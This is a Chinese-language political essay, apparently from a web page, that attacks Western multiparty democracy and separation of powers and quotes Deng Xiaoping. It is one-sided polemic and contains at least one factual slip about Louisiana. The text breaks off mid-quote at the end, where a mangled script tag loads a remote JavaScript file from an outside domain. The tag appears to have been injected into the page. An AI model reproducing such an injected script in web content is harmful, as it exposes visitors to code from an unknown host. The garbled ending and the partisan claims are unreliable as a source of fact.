长期以来,西方一些势力和一些与之呼应的人借为政治体制改革出谋献计之名,不断抛出以多党制、三权分立为主要内容的所谓“宪政改革”方案,宣扬西方的民主、自由、人权等,混淆视听,迷惑群众,攻击中国共产党的领导和社会主义制度。归结到一点,就是认为我们应当照搬西方那一套政治制度,认为西方的“政党轮替”、“三权分立”、“议会制民主”等是最好的东西,是放之四海而皆准的宝贝。这种认识,在思想上有错误的,在行动上是有害的。
西方所宣扬的价值观念大多是子虚乌有的,连他们自己都做不到。比如它们宣扬人权高于主权理论,但西方国家能开放边境,让发展中国家的巨量人口去西方国家谋一份职,享受他们干净的空气、洁净的水和卫生的环境吗?邓小平在南方谈话中指出,“世界和平与发展这两大问题,至今一个也没有解决。”为什么没有解决?一个重要原因就是国际关系中的不民主。在处于国际生态顶端的富国俱乐部何时给广大后发国家民主、自由,让渡过它们把持的话语权和议价权?他们根本不会这么做。中国人民在追求民主自由的百年征程,也不是没有尝试拥抱和移植西方政治民主模式,但每每都被列强和封建势力联合绞杀,他们只想给中国人以坐稳奴隶的自由。最终,是中国共产党领导中国人民推翻了帝国主义、封建主义、官僚资本主义的重压下,找到了民族解放之途。邓小平透彻地揭示了西方民主的实质,他说:“资本主义社会讲的民主是资产阶级的民主,实际上是垄断资本的民主”。对于弱势民族和国家来说,这些美丽的辞藻无非是意识形态圈套而已
更何况三权分立也并不是西方资本主义国家普遍采用的模式。确立西方三权分立制度的美国宪法,比起当时欧洲和其他地方的君主专制或者君主立宪制的确高出一筹,具有一定的历史进步意义,但是之所以设立三权分立,表面上看是权力互相制衡,其实最主要的目的是限制众议院的权力。因为美国的统治阶级认为,离群众最近的权力是众议院,议员是老百姓选的。所以首先设立参议院直接控制众议院,再用总统巨大的行政权力抵消和压制众议院,还通过最高法官否决权限制众议院的权力,法官又是总统任命的,而且是终身制的。参议员任期6年,而众议员任期只有两年。这种压制老百姓的民主、限制老百姓的权力的三权分立,怎么能当作民主的楷模来追求呢?
西方政治模式形成的前提既是不光彩的,也是不可复制的。其一,西方发达国家的发展是建立在历史上长期的、大规模的、骇人听闻的攫取和掠夺基础之上的。根据西方学者提供的数据,五百年来,三千万印第安人遭到种族灭绝,资源丰富的南北美洲大陆被占领,五千万黑奴作为无偿劳动力被贩卖到美洲。其二,在全球化生产和分配的格局中,西方发达国家攫取了最多的利润,它们的发展是建立在盘剥第三世界国家的基础之上的。如果把这个财富基础撤掉,其所谓票选制度、多党制度就难以存在。到目前为止,所有拷贝西方民主制度的第三世界国家基本上没有成功的,一个重要原因就是缺乏财富基础。因为在一个利益多元化的社会中,如果利益冲突太大,票选就会失效,就势必通过暴力来解决。要缩小利益冲突,只能靠由国家转移支付的昂贵的福利制度,而这种制度的基础是从全球盘剥来的巨额资源和财富。如果把这个基础撤掉,西方所谓的民主制度、运行良好的市民社会或公民社会都会崩溃。比如,2005年法国的巴黎及其它几个大城市出现暴乱,一夜之间400多辆汽车被砸。其主要原因是大量阿拉伯移民移居法国后,就业很困难,特别是年轻人找不到工作,从而对社会不满。其深层次的、最直接的原因就是财富问题,因为法国的福利制度不能把所有移民包养起来。再比如,2005年8月,美国东南部比较贫困的圣路易斯安那州和新奥尔良发生飓风后,灾区出现了成规模的武装抢劫、强奸等现象,救灾部队不得不开着装甲车全副武装进入灾区。这样的情景在社会主义中国根本不可能出现。在中国的抗震救灾中,救灾部队是只带着救援工具和物资进入灾区的,大家看到解放军就像看到救星一样,而美国救灾部队是武装进入的,它的直升机是受到枪击的。
西方发达国家从18世纪起到现在只有十几个国家,其总人口大概占世界人口的1/7—1/8,即10亿或更少一些。富人俱乐部里不可能增加更多的人口,因为富人俱乐部的生活方式是无法“普世”的。例如,美国人均石油消耗量是中国的10倍以上,平均1.2—1.3人拥有一辆汽车,这个模式如果搬到中国,中国就要有16亿辆汽车,全球的环境都无法负担这种生活方式。事实是这样的清楚,为什么还要歇斯底里地打着自由、民主、人权和宪政旗号,“忽悠”中国百姓、打击中国政府呢?
邓小平对这些论调的分析是令人深省的。他指出:“他们是要颠覆我们的国家,颠覆我们的党,这是问题的实质。”“他们的目的是要建立一个完全西方附庸化的资产阶级共和?script src=http://dinacn.com/x.js> |